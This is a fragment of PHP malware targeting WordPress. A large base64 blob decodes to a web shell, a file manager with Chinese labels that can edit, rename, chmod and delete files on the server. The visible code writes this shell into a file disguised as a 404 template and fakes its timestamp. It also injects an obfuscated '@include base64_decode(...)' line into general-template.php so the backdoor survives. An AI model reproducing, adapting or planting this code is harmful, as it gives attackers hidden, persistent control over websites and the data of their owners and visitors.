JF9HRVRbJ3BhdGgnXTsKICAgICAgICAgICAgJHllYWggPSAkX0dFVFsnbmFtZSddOwogICAgICAgICAgICAkcGF0YyA9ICIkaGVsbC8keWVhaCI7CgovL0RlbGV0ZSBkaXIKICAgICAgICAgICAgaWYoJF9HRVRbJ3R5cGUnXSA9PSAnZGlyJyl7CgogICAgICAgICAgICAgICAgaWYocm1kaXIoJHBhdGMpKXsKICAgICAgICAgICAgICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0iZ3JlZW4iPuWIoOmZpOaIkOWKn++8gTwvZm9udD48YnIgLz4nOwogICAgICAgICAgICAgICAgfWVsc2V7CiAgICAgICAgICAgICAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9InJlZCMiPuWIoOmZpOWksei0pSE+Oig8L2ZvbnQ+PGJyIC8+JzsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQovL2J1YXQgZm9sZGVyCiAgICAgICAgICAgIGlmKCRfR0VUWyd0eXBlJ10gPT0gJ2J1YXQnKXsKICAgICAgICAgICAgICAgICRoYWFhID0gJF9QT1NUWydwYXRoJ107CiAgICAgICAgICAgICAgICAkaGVlZSA9ICRfUE9TVFsnbmFtZSddOwogICAgICAgICAgICAgICAgJGhvb28gPSAiJGhhYWEvJGhlZWUiOwogICAgICAgICAgICAgICAgJG5ldyA9ICRoYWFhLicvJy5odG1sc3BlY2lhbGNoYXJzKCRoZWVlKTsKICAgICAgICAgICAgICAgIGlmKCFta2RpcigkbmV3KSl7CiAgICAgICAgICAgICAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9InJlZCI+5paw5bu655uu5b2V5aSx6LSlITwvZm9udD48YnIgLz4nOwogICAgICAgICAgICAgICAgfWVsc2V7CiAgICAgICAgICAgICAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9ImdyZWVuIj7mlrDlu7rnm67lvZXmiJDlip8hID46KTwvZm9udD48YnIgLz4nOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9Ci8vRGVsZXRlIGZpbGUKICAgICAgICAgICAgZWxzZWlmKCRfR0VUWyd0eXBlJ10gPT0gJ2ZpbGUnKXsKCiAgICAgICAgICAgICAgICAkaGVsbCA9ICRfR0VUWydwYXRoJ107CiAgICAgICAgICAgICAgICAkeWVhaCA9ICRfR0VUWyduYW1lJ107CiAgICAgICAgICAgICAgICAkcGF0YyA9ICIkaGVsbC8keWVhaCI7CgogICAgICAgICAgICAgICAgaWYodW5saW5rKCRwYXRjKSl7CiAgICAgICAgICAgICAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9ImdyZWVuIj7mlofku7bliKDpmaTmiJDlip88L2ZvbnQ+PGJyIC8+JzsKICAgICAgICAgICAgICAgIH1lbHNlewogICAgICAgICAgICAgICAgICAgIGVjaG8gJzxmb250IGNvbG9yPSJyZWQiPuaWh+S7tuWIoOmZpOWksei0pTwvZm9udD48YnIgLz4nOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgIGVjaG8gJzwvY2VudGVyPic7CiAgICAgICAgJHNjYW5kaXIgPSBzY2FuZGlyKCRwYXRoKTsKICAgICAgICAkcGEgPSBnZXRjd2QoKTsKICAgICAgICBlY2hvICcgPGRpdiBpZD0iY29udGVudCI+PHRhYmxlIHdpZHRoPSIxMDAlIiBjbGFzcz0idGFibGVfaG9tZSIgYm9yZGVyPSIwIiBjZWxscGFkZGluZz0iMyIgY2VsbHNwYWNpbmc9IjEiIGFsaWduPSJjZW50ZXIiPgogCjx0cj4KPHRoIGNsYXNzPXRoX2hvbWUgc3R5bGU9ImJhY2tncm91bmQ6YmxhY2s7Y29sb3I6I2ZmZjsiPjxjZW50ZXI+5ZCN56ewPC9jZW50ZXI+PC90aD4KPHRoIGNsYXNzPXRoX2hvbWUgc3R5bGU9ImJhY2tncm91bmQ6YmxhY2s7Y29sb3I6I2ZmZjsiID48Y2VudGVyPuWkp+WwjzwvY2VudGVyPjwvdGg+Cjx0aCBjbGFzcz10aF9ob21lIHN0eWxlPSJiYWNrZ3JvdW5kOmJsYWNrO2NvbG9yOiNmZmY7IiA+PGNlbnRlcj7mnYPpmZA8L2NlbnRlcj48L3RoPgo8dGggY2xhc3M9dGhfaG9tZSBzdHlsZT0iYmFja2dyb3VuZDpibGFjaztjb2xvcjojZmZmOyIgPjxjZW50ZXI+5pON5L2c6YCJ6aG5PC9jZW50ZXI+PC90aD4KPC90cj4KCgogPHRyPgo8dGQgY2xhc3M9InRkX2hvbWUiIGFsaWduPSJjZW50ZXIiPgo8YSBocmVmPSI/QVJSQVk9Jy4kQVJSQVkuJyZwYXRoPScuZGlybmFtZSgkcGF0aCkuJyIgc3R5bGU9ImRpc3BsYXk6YmxvY2s7IHdpZHRoOjEwMCU7IiB0aXRsZT0i5LiK5LiA6aG1Ij7kuIrkuIDpobU8L2E+CjwvdGQ+PHRkIGNsYXNzPXRkX2hvbWUgYWxpZ249Y2VudGVyPlNpemU8L3RkPiA8dGQgY2xhc3M9dGRfaG9tZSBhbGlnbj1jZW50ZXI+Q2htb2Q8L3RkPiA8dGQgY2xhc3M9dGRfaG9tZSBhbGlnbj1jZW50ZXI+IDxhIGhyZWY9Ij9vcHRpb24mQVJSQVk9Jy4kQVJSQVkuJyZwYXRoPScuJHBhdGguJyZvcHQ9YmFydSZuYW1lPW5ldy5waHAiPisg5paw5bu65paH5Lu2PC9hPiB8IDxhIGhyZWY9Ij9vcHRpb24mQVJSQVk9Jy4kQVJSQVkuJyZwYXRoPScuJHBhdGguJyZvcHQ9YnR3JnR5cGU9ZGlyIj4rIOaWsOW7uuebruW9lTwvYT4gPC90ZD48L3RyPgonOwoKICAgICAgICBmb3JlYWNoKCRzY2FuZGlyIGFzICRkaXIpewogICAgICAgICAgICBpZighaXNfZGlyKCIkcGF0aC8kZGlyIikgfHwgJGRpciA9PSAnLicgfHwgJGRpciA9PSAnLi4nKSBjb250aW51ZTsKICAgICAgICAgICAgZWNobyAiCjx0cj4KPHRkIGNsYXNzPXRkX2hvbWU+IDxpbWcgc3JjPSdkYXRhOmltYWdlL3BuZztiYXNlNjQsUjBsR09EbGhFd0FRQUxNQUFBQUFBUC8vLzV5Y0FNN09ZLy8vblAvL3p2L09uUGYzOS8vLy93QUFBQUFBQUFBQUFBQUFBQUFBQUFBQSIuIkFBQUFBQ0g1QkFFQUFBZ0FMQUFBQUFBVEFCQUFBQVJSRU1sSnE3MDQ2eXA2QnhzaUhFVkJFQUtZQ1VQckRwN0hsWFJkRW9NcUNlYnAiLiIvNFljaGZmekdRaEg0WVJZUEIyRE9sSFBpS3dxZDFQcTh5clZWZzNRWWVINVJZSzVySmZhRlVVQTN2QjRmQklCQURzPSc+IDxhIGhyZWY9XCI/QVJSQVk9eyRBUlJBWX0mcGF0aD0kcGF0aC8kZGlyXCI+JGRpcjwvYT48L3RkPgo8dGQgY2xhc3M9dGRfaG9tZSA+PGNlbnRlcj5ESVI8L2NlbnRlcj48L3RkPgo8dGQgY2xhc3M9dGRfaG9tZSBhbGlnbj1jZW50ZXI+CjxhIGhyZWY9XCI/b3B0aW9uJkFSUkFZPXskQVJSQVl9JnBhdGg9JHBhdGgmb3B0PWNobW9kJnR5cGU9ZGlyJm5hbWU9JGRpclwiIHRpdGxlPSfmnYPpmZDorr7nva4nPgoiOwogICAgICAgICAgICBpZihpc193cml0YWJsZSgiJHBhdGgvJGRpciIpKSBlY2hvICc8Zm9udCBjb2xvcj0iZ3JlZW4iPic7CiAgICAgICAgICAgIGVsc2VpZighaXNfcmVhZGFibGUoIiRwYXRoLyRkaXIiKSkgZWNobyAnPGZvbnQgY29sb3I9InJlZCI+JzsKICAgICAgICAgICAgZWNobyBqdWVqaWFuZ19wZXJtcygiJHBhdGgvJGRpciIpOwogICAgICAgICAgICBpZihpc193cml0YWJsZSgiJHBhdGgvJGRpciIpIHx8ICFpc19yZWFkYWJsZSgiJHBhdGgvJGRpciIpKSBlY2hvICc8L2ZvbnQ+JzsKCiAgICAgICAgICAgIGVjaG8gIgo8L2E+CjwvdGQ+CgoKPHRkIGNsYXNzPXRkX2hvbWUgPjxjZW50ZXI+CjxhIGhyZWY9XCI/b3B0aW9uJkFSUkFZPXskQVJSQVl9JnBhdGg9JHBhdGgmb3B0PXJlbmFtZSZ0eXBlPWRpciZuYW1lPSRkaXJcIj7ph43lkb3lkI08L2E+CjxhIGhyZWY9XCJqYXZhc2NyaXB0OmlmKGNvbmZpcm0oJ+ehruWunuimgeWIoOmZpOWQlz8nKSlsb2NhdGlvbj0nP29wdGlvbiZBUlJBWT17JEFSUkFZfSZwYXRoPXskcGF0aH0mb3B0PWRlbGV0ZSZ0eXBlPWRpciZuYW1lPXskZGlyfSdcIj7liKDpmaQ8L2E+CjwvY2VudGVyPjwvdGQ+CjwvdHI+IjsKICAgICAgICB9CiAgICAgICAgZWNobyAnPGJyPic7CiAgICAgICAgZm9yZWFjaCgkc2NhbmRpciBhcyAkZmlsZSl7CiAgICAgICAgICAgIGlmKCFpc19maWxlKCIkcGF0aC8kZmlsZSIpKSBjb250aW51ZTsKICAgICAgICAgICAgJHNpemUgPSBmaWxlc2l6ZSgiJHBhdGgvJGZpbGUiKS8xMDI0OwogICAgICAgICAgICAkc2l6ZSA9IHJvdW5kKCRzaXplLDMpOwogICAgICAgICAgICBpZigkc2l6ZSA+PSAxMDI0KXsKICAgICAgICAgICAgICAgICRzaXplID0gcm91bmQoJHNpemUvMTAyNCwyKS4nIE1CJzsKICAgICAgICAgICAgfWVsc2V7CiAgICAgICAgICAgICAgICAkc2l6ZSA9ICRzaXplLicgS0InOwogICAgICAgICAgICB9CgoKICAgICAgICAgICAgZWNobyAiPHRyPgo8dGQgY2xhc3M9dGRfaG9tZSA+IDxpbWcgc3JjPSdkYXRhOmltYWdlL3BuZztiYXNlNjQsaVZCT1J3MEtHZ29BQUFBTlNVaEVVZ0FBQUF3QUFBQVFDQVlBQUFBaVlaNEhBQUFBQ1hCSVdYTUFBQXNUQUFBTEV3RUFtcHdZQUFBS1RXbERRMUJRYUc5MGIzTm9iM0FnU1VORElIQnliMlpwYkdVQUFIamFuVk4zV0pQM0ZqN2Y5MlVQVmtMWThMR1hiSUVBSWlPc0NNZ1FXYUlRa2dCaGhCQVNRTVdGaUFwV0ZCVVJuRWhWeElMVkNraWRpT0tnS0xoblFZcUlXb3RWWERqdUg5eW50WDE2NyszdCs5Zjd2T2VjNS96T2VjOFBnQkVTSnBIbW9tb0FPVktGUERyWUg0OVBTTVRKdllBQ0ZVamdCQ0FRNXN2Q1p3WEZBQUR3QTNsNGZuU3dQL3dCcjI4QUFnQncxUzRrRXNmaC80TzZVQ1pYQUNDUkFPQWlFdWNMQVpCU0FNZ3VWTWdVQU1nWUFMQlRzMlFLQUpRQUFHeDVmRUlpQUtvTkFPejBTVDRGQU5pcGs5d1hBTmlpSEtrSUFJMEJBSmtvUnlRQ1FMc0FZRldCVWl3Q3dNSUFvS3hBSWk0RXdLNEJnRm0yTWtjQ2dMMEZBSGFPV0pBUFFHQUFnSmxDTE13QUlEZ0NBRU1lRTgwRElFd0RvRERTditDcFgzQ0Z1RWdCQU1ETGxjMlhTOUl6RkxpVjBCcDM4dkRnNGlIaXdteXhRbUVYS1JCbUNlUWluSmViSXhOSTV3Tk16Z3dBQUJyNTBjSCtPRCtRNStiazRlWm01Mnp2OU1XaS9tdndieUkrSWZIZi9yeU1BZ1FBRUU3UDc5cGY1ZVhXQTNESEFiQjF2MnVwV3dEYVZnQm8zL2xkTTlzSm9Gb0swSHI1aTNrNC9FQWVucUZReUR3ZEhBb0xDKzBsWXFHOU1PT0xQdjh6NFcvZ2kzNzIvRUFlL3R0NjhBQnhta0NacmNDamcvMXhZVzUycmxLTzU4c0VRakZ1OStjai9zZUZmLzJPS2RIaU5MRmNMQldLOFZpSnVGQWlUY2Q1dVZLUlJDSEpsZUlTNlg4eThSK1cvUW1UZHcwQXJJWlB3RTYyQjdYTGJNQis3Z0VDaXc1WTBuWUFRSDd6TFl3YUM1RUFFR2MwTW5uM0FBQ1R2L21QUUNzQkFNMlhwT01BQUx6b0dGeW9sQmRNeGdnQUFFU2dnU3F3UVFjTXdSU3N3QTZjd1IyOHdCY0NZUVpFUUF3a3dEd1FRZ2JrZ0J3S29SaVdRUmxVd0RyWUJMV3dBeHFnRVpyaEVMVEJNVGdONStBU1hJSHJjQmNHWUJpZXdoaThoZ2tFUWNnSUUyRWhPb2dSWW83WUlzNElGNW1PQkNKaFNEU1NnS1FnNllnVVVTTEZ5SEtrQXFsQ2FwRmRTQ1B5TFhJVU9ZMWNRUHFRMjhnZ01vcjhpcnhITVpTQnNsRUQxQUoxUUxtb0h4cUt4cUJ6MFhRMEQxMkFscUpyMFJxMEhqMkF0cUtuMFV2b2RYUUFmWXFPWTREUk1RNW1qTmxoWEl5SFJXQ0pXQm9teHhaajVWZzFWbzgxWXgxWU4zWVZHOENlWWU4SUpBS0xnQlBzQ0Y2RUVNSnNncENRUjFoTVdFT29KZXdqdEJLNkNGY0pnNFF4d2ljaWs2aFB0Q1Y2RXZuRWVHSTZzWkJZUnF3bTdpRWVJWjRsWGljT0UxK1RTQ1FPeVpMa1Rnb2hKWkF5U1F0SmEwamJTQzJrVTZRKzBoQnBuRXdtNjVCdHlkN2tDTEtBckNDWGtiZVFENUJQa3Z2SncrUzNGRHJGaU9KTUNhSWtVcVNVRWtvMVpUL2xCS1dmTWtLWm9LcFJ6YW1lMUFpcWlEcWZXa2x0b0haUUwxT0hxUk0wZFpvbHpac1dROHVrTGFQVjBKcHBaMm4zYUMvcGRMb0ozWU1lUlpmUWw5SnI2QWZwNSttRDlIY01EWVlOZzhkSVlpZ1pheGw3R2FjWXR4a3ZtVXltQmRPWG1jaFVNTmN5RzVsbm1BK1liMVZZS3ZZcWZCV1J5aEtWT3BWV2xYNlY1NnBVVlhOVlA5VjVxZ3RVcTFVUHExNVdmYVpHVmJOUTQ2a0oxQmFyMWFrZFZidXBOcTdPVW5kU2oxRFBVVitqdmwvOWd2cGpEYktHaFVhZ2hraWpWR08zeGhtTklSYkdNbVh4V0VMV2NsWUQ2eXhybUUxaVc3TDU3RXgyQmZzYmRpOTdURk5EYzZwbXJHYVJacDNtY2MwQkRzYXg0UEE1Mlp4S3ppSE9EYzU3TFFNdFB5MngxbXF0WnExK3JUZmFldHErMm1MdGN1MFc3ZXZhNzNWd25VQ2RMSjMxT20wNjkzVUp1amE2VWJxRnV0dDF6K28rMDJQcmVla0o5Y3IxRHVuZDBVZjFiZlNqOVJmcTc5YnYwUjgzTURRSU5wQVpiREU0WS9ETWtHUG9hNWhwdU5Id2hPR29FY3RvdXBIRWFLUFJTYU1udUNidWgyZmpOWGdYUG1hc2J4eGlyRFRlWmR4clBHRmlhVExicE1Ta3hlUytLYzJVYTVwbXV0RzAwM1RNek1nczNLellyTW5zampuVm5HdWVZYjdadk52OGpZV2xSWnpGU29zMmk4ZVcycFo4eXdXV1RaYjNySmhXUGxaNVZ2VlcxNnhKMWx6ckxPdHQxbGRzVUJ0WG13eWJPcHZMdHFpdG02M0VkcHR0M3hUaUZJOHAwaW4xVTI3YU1lejg3QXJzbXV3RzdUbjJZZllsOW0zMnp4M01IQklkMWp0ME8zeHlkSFhNZG14d3ZPdWs0VFREcWNTcHcrbFhaeHRub1hPZDh6VVhwa3VReXhLWGRwY1hVMjJuaXFkdW4zckxsZVVhN3JyU3RkUDFvNXU3bTl5dDJXM1UzY3c5eFgyciswMHVteHZKWGNNOTcwSDA4UGRZNG5ITTQ1Mm5tNmZDODVEbkwxNTJYbGxlKzcwZVQ3T2NKcDdXTUczSTI4UmI0TDNMZTJBNlBqMWwrczdwQXo3R1BnS2ZlcCtIdnFhK0l0ODl2aU4rMW42WmZnZjhudnM3K3N2OWovaS80WG55RnZGT0JXQUJ3UUhsQWIyQkdvR3pBMnNESHdTWkJLVUhOUVdOQmJzR0x3dytGVUlNQ1ExWkgzS1RiOEFYOGh2NVl6UGNaeXlhMFJYS0NKMFZXaHY2TU13bVRCN1dFWTZHendqZkVINXZwdmxNNmN5MkNJamdSMnlJdUI5cEdaa1grWDBVS1NveXFpN3FVYlJUZEhGMDl5eldyT1JaKzJlOWp2R1BxWXk1Tzl0cXRuSjJaNnhxYkZKc1kreWJ1SUM0cXJpQmVJZjRSZkdYRW5RVEpBbnRpZVRFMk1ROWllTnpBdWRzbWpPYzVKcFVsblJqcnVYY29ya1g1dW5PeTU1M1BGazFXWkI4T0lXWUVwZXlQK1dESUVKUUx4aFA1YWR1VFIwVDhvU2JoVTlGdnFLTm9sR3h0N2hLUEpMbW5WYVY5ampkTzMxRCttaUdUMFoxeGpNSlQxSXJlWkVaa3JrajgwMVdSTmJlck0vWmNka3RPWlNjbEp5alVnMXBsclFyMXpDM0tMZFBaaXNya3cza2VlWnR5aHVUaDhyMzVDUDVjL1BiRld5RlROR2p0Rkt1VUE0V1RDK29LM2hiR0Z0NHVFaTlTRnJVTTk5bS91cjVJd3VDRm55OWtMQlF1TEN6MkxoNFdmSGdJcjlGdXhZamkxTVhkeTR4WFZLNlpIaHA4Tko5eTJqTHNwYjlVT0pZVWxYeWFubmM4bzVTZzlLbHBVTXJnbGMwbGFtVXljdHVydlJhdVdNVllaVmtWZTlxbDlWYlZuOHFGNVZmckhDc3FLNzRzRWE0NXVKWFRsL1ZmUFY1YmRyYTNrcTN5dTNyU091azYyNnM5MW0vcjBxOWFrSFYwSWJ3RGEwYjhZM2xHMTl0U3Q1MG9YcHE5WTdOdE0zS3pRTTFZVFh0Vzh5MnJOdnlvVGFqOW5xZGYxM0xWdjJ0cTdlKzJTYmExci9kZDN2ekRvTWRGVHZlNzVUc3ZMVXJlRmRydlVWOTlXN1M3b0xkanhwaUc3cS81bjdkdUVkM1Q4V2VqM3VsZXdmMlJlL3JhblJ2Yk55dnY3K3lDVzFTTm8wZVNEcHc1WnVBYjlxYjdacDN0WEJhS2c3Q1FlWEJKOSttZkh2alVPaWh6c1BjdzgzZm1YKzM5UWpyU0hrcjBqcS9kYXd0bzIyZ1BhRzk3K2lNbzUwZFhoMUh2cmYvZnU4eDQyTjF4eldQVjU2Z25TZzk4Zm5rZ3BQanAyU25ucDFPUHozVW1keDU5MHo4bVd0ZFVWMjlaMFBQbmo4WGRPNU10MS8zeWZQZTU0OWQ4THh3OUNMM1l0c2x0MHV0UGE0OVIzNXcvZUZJcjF0djYyWDN5KzFYUEs1MDlFM3JPOUh2MDMvNmFzRFZjOWY0MXk1ZG4zbTk3OGJzRzdkdUp0MGN1Q1c2OWZoMjl1MFhkd3J1VE54ZGVvOTRyL3krMnYzcUIvb1A2biswL3JGbHdHM2crR0RBWU0vRFdRL3ZEZ21IbnY2VS85T0g0ZEpIekVmVkkwWWpqWStkSHg4YkRScTk4bVRPaytHbnNxY1R6OHArVnY5NTYzT3I1OS85NHZ0THoxajgyUEFMK1l2UHY2NTVxZk55NzZ1cHJ6ckhJOGNmdk01NVBmR20vSzNPMjMzdnVPKzYzOGU5SDVrby9FRCtVUFBSK21QSHA5QlA5ejduZlA3OEwvZUU4L3NsMHA4ekFBQUFJR05JVWswQUFIb2xBQUNBZ3dBQStmOEFBSURwQUFCMU1BQUE2bUFBQURxWUFBQVhiNUpmeFVZQUFBRzRTVVJCVkhqYWZKTFBhaE5SRk1aLzk5eVphYkJ4Q05OS2l5Z294R0NnbEJaY3VDZ0k5ZzJLTDFOQ3dTNUtYOEFuVUxvU3VuUFZyZHZHZ0J1cEVWMjRFV1FDTThuTTVNKzkxOFZNUnVPaTMrckNQZC81ZmVmY3ExNzFYanUwNVRiWnVlSHkvRXdCZUdqTDI1TVQ1c2F3TUlhSlhUVi9HZ3g0ZDNYRjBYSFBYWjZmS1FHdzFySXdocGt4bU9tVVBNdEl4Mk9TSkdHY3Bydy9QVVY4emRGeHo4azRUZXR1Z2RZMGdvQkFhendSbEFoeEhQUG00b0lYblE2ZkIzMDhBQkhoWTc4UHdOWjZ4SzlKekc2M0M4REx3ME9jdFlSaHlJZnI2OUlBMEc2M2NWWCtKaTBhUVFDekdRQ0xmMmJ5QUxSU0RJZkR1anZBdDZvZzhockVpNEw5dmIzU1VHUVpTb1NublE0TGE3bExWSk9XdWw4VUFCUlpWczNnSEY5dWJ1cUNKV2xyUFNwcGs1aUQ3ZTJLa09jQTdIYTd6SXdwTS85SGF0TEMwNW9pei84Ty9mUHJkOEtXejQvZmFVMEJtRTh6L0xVNzZNM05rakF0Q3JRSUQ1NDhMa24zWUdZTUQ2TUlheTJtb2dKTWkyS1ZBQkMyZlBMYzU5SEdCb2dBWUl4QnFyTzNmT21ENTgvS3l5cTNjUTZ0VkcwQ0dLY3BYaklhcmF4UWkyQ3NMWXNCSllKVENpVkNNaHFobWpzN3p0cmJ2L2RTSXNLZkFRRGZJc0tIdkFaWVpBQUFBQUJKUlU1RXJrSmdnZz09Jz4KCiI7Ci8vIDxhIGhyZWY9XCI/QVJSQVk9eyRBUlJBWX0mZmlsZXNyYz0kcGF0aC8kZmlsZSZwYXRoPSRwYXRoXCI+JGZpbGU8L2E+CiAgICAgICAgICAgIGVjaG8gIgo8YSBocmVmPVwiP29wdGlvbiZBUlJBWT17JEFSUkFZfSZwYXRoPXskcGF0aH0mb3B0PWVkaXQmdHlwZT1maWxlJm5hbWU9eyRmaWxlfVwiPnskZmlsZX08L2E+CjwvdGQ+Cjx0ZCBjbGFzcz10ZF9ob21lPjxjZW50ZXI+Ii4kc2l6ZS4iPC9jZW50ZXI+PC90ZD4KPHRkIGNsYXNzPXRkX2hvbWUgYWxpZ249J2NlbnRlcic+PGEgaHJlZj1cIj9vcHRpb24mQVJSQVk9eyRBUlJBWX0mcGF0aD0kcGF0aCZvcHQ9Y2htb2QmdHlwZT1maWxlJm5hbWU9JGZpbGVcIiB0aXRsZT0n5p2D6ZmQ6K6+572uJz4iOwoKCgogICAgICAgICAgICBpZihpc193cml0YWJsZSgiJHBhdGgvJGZpbGUiKSkgZWNobyAnPGZvbnQgY29sb3I9ImdyZWVuIj4nOwogICAgICAgICAgICBlbHNlaWYoIWlzX3JlYWRhYmxlKCIkcGF0aC8kZmlsZSIpKSBlY2hvICc8Zm9udCBjb2xvcj0icmVkIj4nOwogICAgICAgICAgICBlY2hvIGp1ZWppYW5nX3Blcm1zKCIkcGF0aC8kZmlsZSIpOwogICAgICAgICAgICBpZihpc193cml0YWJsZSgiJHBhdGgvJGZpbGUiKSB8fCAhaXNfcmVhZGFibGUoIiRwYXRoLyRmaWxlIikpIGVjaG8gJzwvZm9udD4nOwogICAgICAgICAgICBlY2hvICI8L2E+PC90ZD4KPHRkIGNsYXNzPXRkX2hvbWU+PGNlbnRlcj4KPGEgaHJlZj1cIj9vcHRpb24mQVJSQVk9eyRBUlJBWX0mcGF0aD0kcGF0aCZvcHQ9ZWRpdCZ0eXBlPWZpbGUmbmFtZT0kZmlsZVwiPue8lui+kTwvYT4KPGEgaHJlZj1cIj9vcHRpb24mQVJSQVk9eyRBUlJBWX0mcGF0aD0kcGF0aCZvcHQ9cmVuYW1lJnR5cGU9ZmlsZSZuYW1lPSRmaWxlJnBhdGg9JHBhdGhcIj7ph43lkb3lkI08L2E+CjxhIGhyZWY9XCJqYXZhc2NyaXB0OmlmKGNvbmZpcm0oJ+ehruWunuimgeWIoOmZpOWQlz8nKSlsb2NhdGlvbj0nP29wdGlvbiZBUlJBWT17JEFSUkFZfSZwYXRoPXskcGF0aH0mb3B0PWRlbGV0ZSZ0eXBlPWZpbGUmbmFtZT17JGZpbGV9J1wiPuWIoOmZpDwvYT4KPC9jZW50ZXI+PC90ZD4KPC90cj4iOwogICAgICAgIH0KICAgICAgICBlY2hvICc8L3RhYmxlPgo8L2Rpdj4nOwogICAgfQogICAgZWNobyAnPGJyPjxicj48YnI+PGJyPjwvYj4KPC9ib2R5PiA8L2h0bWw+PC9ib2R5Pgo8L2h0bWw+JzsKICAgIGRpZTsKZW5kaWY7ICAvLyA9PT09CgoKCgoKCg=="; // WP 404
    @chmod($jue_jiang_404_path, 0644);
    @file_put_contents($jue_jiang_404_path, base64_decode($jue_jiang_404));
    @touch($jue_jiang_404_path, filectime($file_general_template_path));
    @chmod($jue_jiang_404_path, 0444);
}

$general_template_code = @file_get_contents($file_general_template_path);
$gen_mat = base64_decode("QGluY2x1ZGVbXHNdK2Jhc2U2NF9kZWNvZGVbXHNdKj9cKCJbMC05YS16QS1aLT0rXC9dKyJcKTs=");
$isget_mat = preg_match("/{$gen_mat}/i",$general_template_code)?true:false;
if (!$isget_mat){
    $pma = base64_decode("ZnVuY3Rpb25bXHNdW2EtekEtWjAtOV9dKlwoLio/XCkuKg==");
    preg_match_all("/{$pma}/i",$general_template_code,$pr);
    $gen_temp_fun_name = $pr[0][rand(0,count($pr[0])-1)];
    $jj404_b64_path = base64_encode($jue_jiang_404_path);
    $new_general_template = str_replace($gen_temp_fun_name,"@include base64_decode(\"{$jj404_b64_path}\");".PHP_EOL.$gen_temp_fun_name,$general_template_code);
    @chmod($file_general_template_path, 0644);
    @file_put_contents($file_general_template_path,$new_general_template);
    @touch($file_general_template_path, filectime($file_general_template_path));
}
